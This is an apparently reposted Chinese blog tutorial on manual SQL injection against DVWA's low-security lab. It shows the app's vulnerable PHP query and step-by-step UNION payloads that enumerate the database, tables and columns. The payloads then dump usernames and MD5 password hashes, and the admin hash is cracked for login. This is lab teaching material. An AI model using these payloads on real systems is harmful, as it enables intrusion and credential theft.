sql手注实践之dvwa

sql注入

手工注入思路:

  1. 判断是否有注入(字符型or数字型等等)

    输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入

    区别:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

  2. 猜解SQL查询语句中的字段数(order by num/union select)

  3. 定显(确定是否有显示的字段顺序)

  4. 爆库

  5. 爆表

  6. 爆字段名

  7. Download

dvwa low级别sql注入

源代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// Get input
	$id = $_REQUEST[ 'id' ];

	// Check database
	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	// Get results
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// Get values
		$first = $row["first_name"];
		$last  = $row["last_name"];

		// Feedback for end user
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

  1. 在输入框输入1

在输入框输入1'

在输入框输入1''

可判断为字符型注入,参数为ID

  1. 构造payload

    猜字段:

    分别输入1' order by 1#1' order by 2#

输入1' order by 3#

可得字段数为2

爆库:1' union select database(),user()#(联合注入)

可得库明为dvwa

爆表:-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#

选择users表

爆字段名:-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#

download: -1' union select user,password from users#

可得用户名和密码(MD5)

  1. 选择admin和它的密文5f4dcc3b5aa765d61d8327deb882cf99,破解得password

验证:登录成功



ps:http://itindex.net/detail/54715-%E8%AE%A4%E8%AF%86-sql-%E7%B1%BB%E5%9E%8B

http://blog.sina.com.cn/s/blog_5c92dd1f0102vjfg.html



猜你喜欢

转载自blog.csdn.net/mukami0621/article/details/78761209